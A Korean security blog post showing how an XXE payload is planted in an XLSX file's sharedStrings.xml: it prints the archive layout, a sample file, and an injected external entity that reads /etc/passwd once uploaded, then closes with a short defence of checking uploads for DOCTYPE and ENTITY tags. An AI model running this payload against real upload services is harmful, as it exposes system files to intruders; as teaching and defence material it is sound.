Everything is hacked.

There is no 100 % security.

Attack Code/WEB

XXE Code in XLSX

Kai_HT 2025. 1. 17. 16:58

https://www.opswat.com/blog/svg-unveiled-understanding-xxe-vulnerabilities-and-defending-your-codebase

XLSX 파일의 경우, 파일 구조 상 압축을 풀 수 있는데 해당 파일의 압축을 풀면 다음과 같은 파일구조를 가지게된다.

- _rels
    - .rels

- docProps
    - app.xml
    - core.xml

- xl
    - _rels
        - workbook.xml.rels
        - 
theme
        -
theme1.xml

    - worksheets

        - sheet1.xml
        - sheet2.xml
        -
sheet3.xml

    - calcChain.xml
    - sharedStrings.xml
    -
styles.xml
    -
workbook.xml

- [Content_Types].xml


해당 파일 내 xl-sharedStrings.xml 파일을 보게되면 XML 형식으로 작성되어있다.
따라서 해당 파일을 에디터로 확인하면 다음과 같은 코드가 노출된다. (샘플 파일 내 있는 코드다.)

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="118" uniqueCount="45">
    <si>
        <t>Hostname</t>
    </si>
    <si>
        <t>IP</t>
    </si>
    <si>
        <t>취약점</t>
    </si>
    <si>
        <t>취약성</t>
    </si>
    <si>
        <t>CVSS 점수</t>
    </si>
    <si>
        <t>Risk</t>
    </si>
    <si>
        <t>조치 방안</t>
    </si>
    <si>
        <t>EOL</t>
    </si>
    <si>
        <t>조치 예정</t>
    </si>
    <si>
        <t>조치 의견</t>
    </si>
    <si>
        <t>KT_M01</t>
    </si>
    <si>
        <t>192.168.0.1</t>
    </si>
    <si>
        <t>TVE-1234-5678</t>
    </si>
    <si>
        <t>CRITICAL</t>
    </si>
    <si>
        <t>9.9</t>
    </si>
    <si>
        <t>Download Patch 001-1</t>
    </si>
    <si>
        <t>OK</t>
    </si>
    <si>
        <t>KT_M02</t>
    </si>
    <si>
        <t>192.168.0.2</t>
    </si>
    <si>
        <t>TVE-1236-5678</t>
    </si>
    <si>
        <t>9.1</t>
    </si>
    <si>
        <t>Download Patch PT-8234</t>
    </si>
    <si>
        <t>Download Patch 001-3</t>
    </si>
    <si>
        <t>OS</t>
    </si>
    <si>
        <t>Exploit 여부</t>
    </si>
    <si>
        <t>멀웨어 여부</t>
    </si>
    <si>
        <t>최초 발견일자</t>
    </si>
    <si>
        <t>조치 납기일자</t>
    </si>
    <si>
        <t>조치 완료일자</t>
    </si>
    <si>
        <t>취약 증명</t>
    </si>
    <si>
        <t>취약 설명</t>
    </si>
    <si>
        <t>Windows 10</t>
    </si>
    <si>
        <t>N</t>
    </si>
    <si>
        <t>Y</t>
    </si>
    <si>
        <t>2024.11.26</t>
    </si>
    <si>
        <t>Searching TVE-1234 Flags</t>
    </si>
    <si>
        <t>TVE-1235-1234</t>
    </si>
    <si>
        <t>NORMAL</t>
    </si>
    <si>
        <t>2024.11.28</t>
    </si>
    <si>
        <t>Download Patch 1234</t>
    </si>
    <si>
        <t>Searching TVE-125-1234 Flags</t>
    </si>
    <si>
        <t>Checking TVE Code in System</t>
    </si>
    <si>
        <t>192.168.0.3</t>
    </si>
    <si>
        <t>KT_M03</t>
    </si>
    <si>
        <t>Windows 11</t>
    </si>
</sst>

다음 코드 내 XXE 코드 입력을 위해 상단에 위치한 XML 선언 줄 밑에 다음 코드 등을 작성하고, 마지막 줄 정도에 send 등의 코드를 입력하면 된다.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE data [
    <!ENTITY send SYSTEM "file:///etc/passwd"">
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="118" uniqueCount="45">
    <si>
        <t>Hostname</t>
    </si>

    (이하 중략)
    ...

    </si>
    <si>
    &send;
    </si>
    <si>
        <t>Windows 11</t>
    </si>
    </sst>

본 코드 입력 이후, XLSX 로 다시 압축, 업로드 후 해당 파일을 호출하는 경우 해당 서비스 페이지 응답 값에서 해당 파일에 대한 내용을 획득할 수 있다.

다만 해당 취약점의 경우 xlsx 를 처리하는 웹 어플리케이션 (서비스) 에서 DTD, Document Type Definition 을 처리해야하며 해당 서비스 어플리케이션에서 외부 엔티티 확장이 활성화된 상태여야한다.


대응 방법

본 취약점은 XML 기반 xlsx 파일을 업로드하여 발생하는 취약점으로 업로드 이후 서버 단에서 진행되는 파일 파싱 구간에서 해당 파일 구조 및 내용 검증이 요구된다. 따라서 .xlsx 파일은 .zip 형식으로 압축되어 있으므로 해당 파일의 압축해제 후 XML 파일 내 <!DOCTYPE> 또는 <!ENTITY> 태그가 포함되어있는지 체킹이 요구된다.